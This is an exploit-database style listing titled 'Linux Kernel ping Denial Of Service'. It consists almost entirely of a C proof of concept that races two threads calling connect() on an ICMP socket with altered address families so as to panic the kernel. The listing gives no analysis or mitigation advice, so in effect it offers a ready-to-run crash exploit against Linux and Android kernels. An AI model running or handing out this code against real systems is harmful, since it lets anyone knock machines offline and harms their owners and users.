Linux Kernel ping Denial Of Service

`# Source: https://raw.githubusercontent.com/danieljiang0415/android_kernel_crash_poc/master/panic.c  
#  
#include <stdio.h>  
#include <sys/socket.h>  
#include <arpa/inet.h>  
#include <stdlib.h>  
static int sockfd = 0;  
static struct sockaddr_in addr = {0};  
  
void fuzz(void * param){  
while(1){  
addr.sin_family = 0;//rand()%42;  
printf("sin_family1 = %08lx\n", addr.sin_family);  
connect(sockfd, (struct sockaddr *)&addr, 16);   
}  
}  
int main(int argc, char **argv)  
{  
sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);  
int thrd;  
pthread_create(&thrd, NULL, fuzz, NULL);  
while(1){  
addr.sin_family = 0x1a;//rand()%42;  
addr.sin_port = 0;  
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);  
connect(sockfd, (struct sockaddr *)&addr, 16);  
addr.sin_family = 0;  
}  
return 0;  
}  
  
`